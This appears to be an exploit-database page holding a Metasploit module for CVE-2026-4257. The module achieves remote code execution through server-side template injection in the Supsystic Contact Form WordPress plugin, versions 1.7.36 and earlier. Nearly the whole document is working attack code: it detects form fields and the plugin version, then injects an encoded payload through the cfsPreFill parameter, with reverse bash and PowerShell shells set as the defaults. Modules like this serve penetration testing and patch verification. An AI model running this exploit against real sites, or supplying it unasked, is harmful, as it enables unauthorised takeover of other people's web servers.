5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / msf-exploit.rb RB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
        'Description' => %q{
          This module performs SSTI achieving RCE in webpages containing the
          Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
          before.
        },
        'Author' => [
          'Azril Fathoni', # Vulnerability Disclosure
          'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'Encoder' => 'cmd/twig_base64'
              },
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'Payload' => {
                'Encoder' => 'cmd/twig_base64'
              },
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
            }
          ]
        ],
        'References' => [
          ['CVE', '2026-4257'],
          [
            'URL', # Python Exploit
            'https://github.com/bootstrapbool/cve-2026-4257'
          ],
        ],
        'DisclosureDate' => '2026-03-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('FIELD', [
          false,
          'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
        ]),
        OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
        OptBool.new('SSL', [false, 'Use SSL', true])
      ]
    )
  end

  def vulnerable?(version_str)
    return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
  end

  def get_version(body)
    version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
    match = version_regex.match(body)

    match ? match[1] : nil
  end

  def get_fields(html)
    pattern = /data-name="([^"]+)"/

    field_names = html.scan(pattern).flatten.uniq

    if field_names.any?
      print_good("Found fields: #{field_names.join(', ')}")
      return field_names
    else
      print_warning('Failed to find fields.')
      return nil
    end
  end

  def handle_field
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })

    unless res
      fail_with(Failure::Unreachable, 'Failed to recieve a reply from server.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
    end

    # Might as well check the version since we sent the request...
    version_str = get_version(res.body)
    if vulnerable?(version_str)
      vprint_status("Version #{version_str} is vulnerable.")
    else
      vprint_warning("Version #{version_str} is not vulnerable.")
    end

    fields = get_fields(res.body)

    if !fields.nil?
      field = fields[0]
      print_status("Using detected field: #{field}")
      return field
    end

    if field.nil
      fail_with(Failure::NotFound, 'Failed to resolve target field')
    end
  end

  def send_payload(payload, field)
    params = { 'cfsPreFill' => 1, field => payload.encoded }

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => params
    })
  end

  def exploit
    if datastore['FIELD'].nil?
      field = handle_field
    else
      field = datastore['FIELD']
    end

    send_payload(payload, field)
  end

  def check
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })

    return CheckCode::Unknown unless res.code == 200

    version_str = get_version(res.body)

    if version_str.nil?
      vprint_status('Failed to derive version')
      fields = get_fields(res.body)
      return CheckCode::Detected unless fields.nil?
    end

    if vulnerable?(version_str)
      return CheckCode::Vulnerable("Detected version #{version_str}")
    end

    return CheckCode::Safe("Detected version #{version_str}")
  end
end